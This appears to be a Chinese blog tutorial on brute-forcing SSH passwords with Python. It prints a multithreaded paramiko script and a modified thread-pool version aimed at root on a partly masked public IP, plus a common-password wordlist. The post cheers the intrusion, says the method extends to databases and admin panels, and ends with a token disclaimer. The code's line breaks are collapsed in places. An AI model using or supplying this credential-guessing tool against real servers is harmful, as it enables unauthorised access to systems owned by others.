暴力破解属于密码破解的一种,也是最常见的破解方法之一,通过不断的尝试来达到破解的目的,所以暴力破解的本质就是一种枚举。

现在也有很多流行的破解软件,不过个人觉得装上kail其实也就啥都有了,但是今天我们不说他们,今天主题是如何使用Python来进行SSH的暴力破解。

在Github上有一个库叫sshfucker,专门用于 SSH 的暴力破解。

https://github.com/TheKingOfDuck/sshfucker

这个模块很简单,代码实现不到70行,只封装了一个py文件。

# !/usr/bin/python python
# -*- coding: utf-8 -*-import paramiko, threading, sys, time, osclass SSHThread(threading.Thread):def __init__(self, ip, port, timeout, dic, LogFile):threading.Thread.__init__(self)self.ip = ipself.port = portself.dict = dicself.timeout = timeoutself.LogFile = LogFiledef run(self):print("Start try ssh => %s" % self.ip)username = "root"try:password = open(self.dict).read().split('\n')except:print("Open dict file `%s` error" % self.dict)exit(1)for pwd in password:try:ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect(self.ip, self.port, username, pwd, timeout=self.timeout)print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd))open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime(time.localtime(time.time())), self.ip, self.port, username, pwd))breakexcept:print("IP => %s, Error %s => %s" % (self.ip, username, pwd))passdef ViolenceSSH(ip, port, timeout, dic, LogFile):ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)ssh_scan.start()def main(ipFile, dic, log):if ipFile == "-h":help()try:ipText = open(ipFile).read().split('\n')for ip in ipText:if ip != '':time.sleep(0.5)threading.Thread(target=ViolenceSSH, args=(ip, 22, 1, dic, log,)).start()except:print("Open IP list file `%s` error" % ipFile)exit(1)def help():print("python ssh.scan.py :\n\修改dict下的ip文件,password按需求修改,然后执行脚本。 \n")exit(1)if __name__ == '__main__':fpath = os.path.dirname(os.path.abspath('__file__'))ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath + "/dict/ip"dic = sys.argv[2] if len(sys.argv) > 2 else fpath + "/dict/password"log = sys.argv[3] if len(sys.argv) > 3 else fpath + "/log/sshd"try:os.system("clear")main(ipFile, dic, log)except KeyboardInterrupt:exit(1)

我们可以明显的看到,这个模块依赖于 Paramiko

Paramiko 是用于建立 SSH2 连接(客户端或服务器)的库,基于Python实现。重点是使用 SSH2 作为 SSL 的替代方法,以在 Python 脚本之间建立安全连接。支持所有主要密码和哈希方法。也支持 SFTP 客户端和服务器模式。

Paramiko 库在Python自动化运维领域很受推崇。

pip install paramiko

然后我们还可以看到这个模块实际上就是利用 Paramiko  建立了 ssh 的客户端连接,批量导入文件,采用多线程的方式来进行暴力破解,思路很清晰。

我们修改代码实现如下

import sys
import paramiko
import threading
from concurrent.futures import ThreadPoolExecutorssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
is_find=Falsedef SshCheck(password):try:ssh.connect("119.23.xx.xx", 22, 'root', password, timeout=1.5)stdin, stdout, stderr = ssh.exec_command('df')result = stdout.read()if result:sys.stdout.write('[OK]' + '\t' + password + '\n')global is_findis_find = Trueexit()except Exception as e:print(e, "失败!!!")finally:ssh.close()filedata = open("pwds.txt", "r")
def run():pool = ThreadPoolExecutor(3)while 1:global is_findif is_find:breakline = filedata.readline()if not line:breakline = line.strip("\n")pool.submit(SshCheck,line)run()

采用了协程并发来进行ssh连接,如果成功破解我们就直接退出。

这里的pwds.txt 文件用于存放破解密码。

password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football
letmein
monkey
696969
abc123
mustang
michael
shadow
master
jennifer
111111
2000
jordan
...
...
python sshfucker.py

回车键一按,叮叮,收到服务器被入侵的短信!!!

你也可以用你的云服务器或者自己搭建的服务器进行测试,只要 ssh验证的ip,端口和密码正确,即破解成功。

破解一直爽,一直破解一直爽,利用Python不仅可以对ssh进行暴力破解,数据库,网站后台管理也是同样的道理,只不过使用的库不同而已。

本文只是出于对Python的学习研究,请勿用于非法用途,小心被请喝茶哟!!


推荐阅读
误执行了rm -fr /*之后,除了跑路还能怎么办?!程序员必备58个网站汇总大幅提高生产力:你需要了解的十大Jupyter Lab插件

手把手教你用Python进行SSH暴力破解相关推荐

  1. 手把手教你一步一步暴力破解密码,学不会来找我

    目录 一.什么是暴力破解? 二.暴力破解弱口令实验 三.如何防御暴力破解攻击? 一.什么是暴力破解? 暴力破解也可称为穷举法.枚举法,是一种针对于密码的破译方法,将密码进行逐个推算直到找出真正的密码为 ...

  2. 教你在 Centos 7 中使用 DenyHosts防止ssh暴力破解(亲测)

    转载来源 : 教你在 Centos 7 中使用 DenyHosts防止ssh暴力破解 :https://mp.weixin.qq.com/s/UXo1dUd-etoNu2WAIwpIWg 介绍 Den ...

  3. 怎么用python自制计算公式_手把手教你用python制作简易计算器,能够记录你使用的情况...

    话不多说,首先先看效果图,它能够记录你在使用过程中的历史,方便你查看是否有错: 接下来就仔细分析一下是如何制作的: 简易计算器 第一步:导入资源库 在过程中使用到了tkinter这个资源库,win+R ...

  4. python 靶心_手把手教你使用Python实战反欺诈模型|原理+代码

    原标题:手把手教你使用Python实战反欺诈模型|原理+代码 作者 | 萝卜 来源 | 早起Python(ID: zaoqi-python) 本文将基于不平衡数据,使用Python进行 反欺诈模型数据 ...

  5. 手把手教你用Python构建自己的「王二狗」

    题图 | 智能二狗聊天机器人 导读 在人手N部智能手机的时代,我们对聊天机器人早已不陌生.这两年很火的游戏群聊天机器人「王二狗」更是用它的机智幽默征服了很多人. 今天,我们将手把手教你用Python从 ...

  6. python global用法_14_手把手教你学Python之函数(下)

    变量作用域:根据变量定义的位置,可将变量分为全局变量和局部变量. 全局变量:定义在函数外面的变量,可以在多个函数中进行访问,但不能执行赋值操作.如果有赋值语句,相当于创建了一个同名的局部变量: 局部变 ...

  7. python编程例子 输入 输出-推荐 :手把手教你用Python创建简单的神经网络(附代码)...

    原标题:推荐 :手把手教你用Python创建简单的神经网络(附代码) 作者:Michael J.Garbade:翻译:陈之炎:校对:丁楠雅 本文共2000字,9分钟. 本文将为你演示如何创建一个神经网 ...

  8. python界面设计-手把手教你用Python设计一个简单的命令行界面

    原标题:手把手教你用Python设计一个简单的命令行界面 对 Python 程序来说,完备的命令行界面可以提升团队的工作效率,减少调用时可能碰到的困扰.今天,我们就来教大家如何设计功能完整的 Pyth ...

  9. python代码示例图形-纯干货:手把手教你用Python做数据可视化(附代码)

    原标题:纯干货:手把手教你用Python做数据可视化(附代码) 导读:制作提供信息的可视化(有时称为绘图)是数据分析中的最重要任务之一.可视化可能是探索过程的一部分,例如,帮助识别异常值或所需的数据转 ...

最新文章

  1. (转) xcodebuild和xcrun自动化编译ipa包 笔记
  2. java读取Resources下文件
  3. 误码率越高越好还是越低越好_ISO永远都是越低越好?不一定!这些情况下要用高 ISO!...
  4. php redis 队列,Redis 实现队列
  5. 分享按钮 html代码,超简洁微博分享按钮代码
  6. Eclipse中自动提示的方法参数都是arg0,arg1的解决方法
  7. ArrayList和LinkedList
  8. 判定三角形程序c语言,c语言判定三角形的各种类型——请大家指点
  9. 金蝶云苍穹平台初级开发工程师认证考试
  10. 英特尔it服务器芯片,intel服务器芯片组驱动程序
  11. windows使用detours实现进程拦截实操
  12. Adobe 奇葩续费机制被网友狂喷:中途取消计划必须付费 50%
  13. Qt入门学习之Qt全局定义
  14. Python爬取百度贴吧回帖中的微信号(基于简单http请求)
  15. Designing Data-Intensive Application《数据密集型应用系统设计》笔记
  16. matlab导入word数据,如何将Excel数据导入MATLAB中?/excel数据导入word模板
  17. Network Error - DEV/1/FAN_DIRECTION_NOT_PREFERRED: Fan 1 airflow direction is not preferred on slot
  18. python轻松实现与图灵机器人的人机交互
  19. 智能血糖仪行业调研报告 - 市场现状分析与发展前景预测
  20. echarts柱状图数值差异过大和最小值无法选中的问题解决

热门文章

  1. SQL语句 SELECT LIKE用法详解
  2. idea快速从dao层跳转到mapper.xml文件的插件
  3. soapui模拟桩mockservice---模拟后台服务器
  4. CentOS重新加载网卡报错 Active connection path: /org/freedesktop/NetworkManager/ActiveConnection/23
  5. ELK(ElasticSearch+Logstash+ Kibana)搭建实时日志分析平台
  6. MongoDB 聚合操作之$group使用
  7. Git一电脑配置config多个git用户 一个用于公司工作 一个用于个人学习
  8. idea修改html不能立刻生效,解决idea debug模式下修改代码却不能生效
  9. Windows下适用于PHP 7.1的memcache扩展工具编译
  10. linux 关闭防火墙firewall,centos中关闭防火墙(firewall)及SELinux